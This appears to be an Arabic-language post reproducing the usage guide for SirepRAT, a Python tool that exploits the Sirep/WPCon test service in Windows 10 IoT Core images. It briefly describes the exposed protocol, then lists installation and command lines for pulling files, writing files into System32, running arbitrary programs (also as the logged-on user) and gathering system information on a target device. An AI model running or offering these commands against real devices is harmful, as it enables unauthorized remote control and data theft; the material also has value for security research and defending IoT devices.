
تستغل الطريقة خدمة اختبار Sirep المضمنة في الصور الرسمية المعروضة على موقع Microsoft وتعمل عليها. هذه الخدمة هي جزء العميل من إعداد Hardware Lab Kit الذي يمكن للمرء إنشاؤه من أجل إجراء اختبارات برنامج التشغيل / الأجهزة على جهاز إنترنت الأشياء. يستخدم بروتوكول Sirep / WPCon / TShell.
قمنا بتفكيك بروتوكول Sirep / WPCon وأظهرنا كيف يعرض هذا البروتوكول واجهة أوامر بعيدة للهكرز، والتي تتضمن قدرات RAT مثل الحصول على وضع الملفات على مواقع عشوائية والحصول على معلومات النظام.
بناءً على النتائج التي استخلصناها من هذا البحث حول الخدمة والبروتوكول ، أنشأنا أداة بيثون بسيطة تسمح باستغلالها باستخدام الأوامر المختلفة المدعومة. أطلقنا عليها اسم SirepRAT.
- يدعم جميع أوامر Sirep / TShell
- GetSystemInformationFromDevice
- GetFileFromDevice
- GetFileInformationFromDevice
- PutFileOnDevice
- LaunchCommandWithOutput
ماهي صورة Windows IoT Core
هي صور نظام التشغيل الأساسية التي تدعم نظام Windows IoT الأساسي. يعد Windows 10 IoT Core هو أصغر إصدار من إصدارات Windows 10 التي تعزز البنية الأساسية الشائعة لنظام التشغيل Windows 10.
تتيح هذه الإصدارات إنشاء أجهزة منخفضة التكلفة بموارد أقل. يعمل تطوير نظام التشغيل Windows 10 IoT Core على تعزيز النظام الأساسي العالمي لـ Windows. تعرف على المزيد حول Windows 10 IoT Core هنا.
كيفية التثبيت Setup SirepRAT
pip install -r requirements.txt
كيفية الاستعمال والاوامر الخاصة بالرات SirepRAT
تحميل الملف - Download File
python SirepRAT.py 192.168.3.17 GetFileFromDevice --remote_path "C:\Windows\System32\drivers\etc\hosts" --v
رفع ملف - Upload File
python SirepRAT.py 192.168.3.17 PutFileOnDevice --remote_path "C:\Windows\System32\uploaded.txt" --data "Hello IoT world!"
تشغيل برنامج - Run Arbitrary Program
python SirepRAT.py 192.168.3.17 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\hostname.exe"
باستخدام الوسائط ، تم انتحال صفته باعتباره المستخدم المسجل حاليًا:
python SirepRAT.py 192.168.3.17 LaunchCommandWithOutput --return_output --as_logged_on_user --cmd "C:\Windows\System32\cmd.exe" --args " /c echo {{userprofile}}"
احصل على معلومات النظام - Get System Information
python SirepRAT.py 192.168.3.17 GetSystemInformationFromDevice
احصل على معلومات الملف - Get File Information
python SirepRAT.py 192.168.3.17 GetFileInformationFromDevice --remote_path "C:\Windows\System32\ntoskrnl.exe"
انظر التعليمات للحصول على التفاصيل الكاملة:
python SirepRAT.py - help